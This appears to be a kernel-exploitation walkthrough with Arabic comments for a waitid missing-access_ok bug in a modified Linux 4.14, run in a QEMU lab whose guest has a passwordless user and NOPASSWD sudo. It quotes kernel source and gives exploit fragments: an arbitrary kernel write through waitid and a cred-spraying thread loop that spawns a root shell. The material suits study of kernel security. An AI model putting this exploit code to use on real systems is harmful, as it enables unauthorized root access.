git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse

qemu-img create -f raw hda.raw 10G
# تنسيق القرص إلى ext4
mkfs.ext4 ./hda.raw 
# إنشاء نقطة تحميل للصورة
mkdir /tmp/mount1
# تحميل القرص
sudo mount -o loop ./hda.raw /tmp/mount1

sudo pacstrap /tmp/mount1 base base-devel vim

# إضافة مستخدم 'test'
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# بدون كلمة مرور
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow 
# يمكننا تحميل قرص virtio لمشاركة الملفات بين المضيف والضيف
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared 
# من المفيد الحصول على صلاحية sudo
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group

sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1

qemu-system-x86_64 \
    -kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
    -hda ./hda.raw \
    -m 4G \
    -cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
    -smp 4 \
    -vga virtio \
    -enable-kvm \
    -nographic \
    -machine type=q35,accel=kvm \
    -virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
    -append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
    -chardev "vc,id=vc.0,cols=1920,rows=1080" \
    -net "user,hostfwd=tcp::10022-:22" \
    -net "nic" \
    -s

SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;
    user_access_begin();
    unsafe_put_user(signo, &infop->si_signo, Efault);
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

/*
 * The "unsafe" user accesses aren't really "unsafe", but the naming
 * is a big fat warning: you have to not only do the access_ok()
 * checking before using them, but you have to surround them with the
 * user_access_begin/end() pair.
 */
#define user_access_begin()	__uaccess_begin()
#define user_access_end()	__uaccess_end()

#define unsafe_put_user(x, ptr, err_label)					\
do {										\
    int __pu_err;								\
    __typeof__(*(ptr)) __pu_val = (x);					\
    __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT);	\
    if (unlikely(__pu_err)) goto err_label;					\
} while (0)

#define unsafe_get_user(x, ptr, err_label)					\
do {										\
    int __gu_err;								\  
    __inttype(*(ptr)) __gu_val;						\
    __get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT);	\
    (x) = (__force __typeof__(*(ptr)))__gu_val;				\
    if (unlikely(__gu_err)) goto err_label;					\
} while (0)

#define __uaccess_begin() stac()
#define __uaccess_end()   clac()

/**
 * access_ok: - تتحقق مما إذا كان مؤشر مساحة المستخدم صالحًا
 * @type: نوع الوصول: %VERIFY_READ أو %VERIFY_WRITE. لاحظ أن
 *        %VERIFY_WRITE هي مجموعة شاملة من %VERIFY_READ - إذا كان من الآمن
 *        الكتابة إلى كتلة، فمن الآمن دائمًا القراءة منها.
 * @addr: مؤشر مساحة المستخدم إلى بداية الكتلة المراد فحصها
 * @size: حجم الكتلة المراد فحصها
 *
 * السياق: سياق المستخدم فقط. قد تنام هذه الدالة إذا تم تمكين أخطاء الصفحة.
 *
 * تتحقق مما إذا كان المؤشر إلى كتلة من الذاكرة في مساحة المستخدم صالحًا.
 *
 * ترجع صحيحًا (غير صفري) إذا كانت كتلة الذاكرة قد تكون صالحة، خطأ (صفر)
 * إذا كانت بالتأكيد غير صالحة.
 *
 * لاحظ أنه، اعتمادًا على البنية، ربما تتحقق هذه الدالة فقط من أن المؤشر
 * في نطاق مساحة المستخدم - بعد استدعاء هذه الدالة، قد تظل دوال الوصول
 * إلى الذاكرة ترجع -EFAULT.
 */
#define access_ok(type, addr, size)					\
({									\
	WARN_ON_IN_IRQ();						\
	likely(!__range_not_ok(addr, size, user_addr_max()));		\
})

	user_access_begin();
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);
	unsafe_put_user(info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();

int thread_ready;
int die_thread(void *arg){
    thread_ready=1;
    syscall(__NR_sched_yield);
    return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
  printf("[0] محاولة الكتابة فوق 0x%016lx\r", where);
  //int pid = fork(); // من الممكن أيضًا استخدام استدعاء النظام fork
  thread_ready = 0; 
  int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
  int err;
  while(thread_ready == 0) {syscall(__NR_sched_yield);} // يجب أن ننتظر الخيط
  err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);   
  return err;
}

SYSCALL_DEFINE0(fork)
{
	return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}

long _do_fork(unsigned long clone_flags,
	      unsigned long stack_start,
	      unsigned long stack_size,
	      int __user *parent_tidptr,
	      int __user *child_tidptr,
	      unsigned long tls)
{
	struct task_struct *p;
	int trace = 0;
	long nr;
  ......

  // سيؤدي هذا إلى إنشاء task_struct آخر لكنه لن يبدأ العملية. 
	p = copy_process(clone_flags, stack_start, stack_size,
			 child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
	add_latent_entropy();
  ......
    // إيقاظ المهمة المنشأة حديثًا. سيؤدي هذا إلى تعيين حالة المهمة على RUNNING ووضعها في قائمة الانتظار الجارية
		wake_up_new_task(p);
  ......
		put_pid(pid);
	} else {
		nr = PTR_ERR(p);
	}
	return nr;
}

...
	/* بيانات اعتماد العملية: */
	/* بيانات اعتماد المتتبع عند الإرفاق: */
	const struct cred __rcu		*ptracer_cred;

	/* بيانات اعتماد المهمة الموضوعية والحقيقية الذاتية (COW): */
	const struct cred __rcu		*real_cred;

	/* بيانات اعتماد المهمة الذاتية الفعالة (القابلة للتجاوز) (COW): */
	const struct cred __rcu		*cred;
  ...

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* عدد العمليات المشتركة */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* UID الحقيقي للمهمة */
	kgid_t		gid;		/* GID الحقيقي للمهمة */
	kuid_t		suid;		/* UID المحفوظ للمهمة */
	kgid_t		sgid;		/* GID المحفوظ للمهمة */
	kuid_t		euid;		/* UID الفعال للمهمة */
	kgid_t		egid;		/* GID الفعال للمهمة */
	kuid_t		fsuid;		/* UID لعمليات VFS */
	kgid_t		fsgid;		/* GID لعمليات VFS */
  ......

/*
 * نسخ بيانات الاعتماد للعملية الجديدة التي تم إنشاؤها بواسطة fork()
 *
 * نشارك إذا استطعنا، ولكن في بعض الظروف يجب علينا إنشاء مجموعة جديدة.
 *
 * تحصل العملية الجديدة على بيانات الاعتماد الذاتية للعملية الحالية كبيانات
 * اعتماد موضوعية وذاتية
 */
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
	struct cred *new;
	int ret;

	if (
#ifdef CONFIG_KEYS
		!p->cred->thread_keyring &&
#endif
		clone_flags & CLONE_THREAD
	    ) {
		p->real_cred = get_cred(p->cred);
		get_cred(p->cred);
		alter_cred_subscribers(p->cred, 2);
		kdebug("share_creds(%p{%d,%d})",
		       p->cred, atomic_read(&p->cred->usage),
		       read_cred_subscribers(p->cred));
		atomic_inc(&p->cred->user->processes);
		return 0;
	}

	new = prepare_creds();
	if (!new)
		return -ENOMEM;

	if (clone_flags & CLONE_NEWUSER) {
		ret = create_user_ns(new);
		if (ret < 0)
			goto error_put;
	}

.........

error_put:
	put_cred(new);
	return ret;
}

....
for task in task_lists():
    #gdb.write("{address} {pid} {comm}\n".format(
    #    address=task,
    #    pid=task["pid"],
    #    comm=task["comm"].string()))
    comm = task["comm"].string()
    # أدخل اسم القابل للتنفيذ الخاص بك
    if comm == "exploit":
        print(task['cred'])
....

stack=malloc(STACK_SIZE)+STACK_SIZE;
  for(x=0;x<MAX_THREADS;x++){
    stackTop = malloc(STACK_SIZE) + STACK_SIZE;
    if (!stackTop){
      perror("[-] Malloc");
      return -1;
    }
    // دالة spray_thread يمكن أن تكون ببساطة حلقة لا نهائية
    pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
    if (pid == -1){
      perror("\n\nCLONE");
      return -1;
    }
    printf("[0] تم إنشاء العملية: %d\r", x);
    }

struct shared_area{
  int one_win;
};
struct shared_area glob_var;

// خيط منتشر
int spray_thread(void *arg){
  int uid;
  int previous_one = syscall(__NR_getuid);
  // حلقة على استدعاء النظام getUID
  while(1){
    uid = syscall(__NR_getuid);
    //printf("UID: %d\n",uid);
    // إذا كان UID المرتجع مختلفًا عن السابق، فقد أصابنا منطقة struct cred
    if (uid != previous_one){
      printf("فوز!! مع %d", uid);
      // قتل الخيوط الأخرى لتحقيق الاستقرار للنظام
      glob_var.one_win = 1;
      // ببساطة افتح شيل
      system("/bin/sh");
    }
    if(glob_var.one_win == 1)
      return 1;
  }
  return 0;
}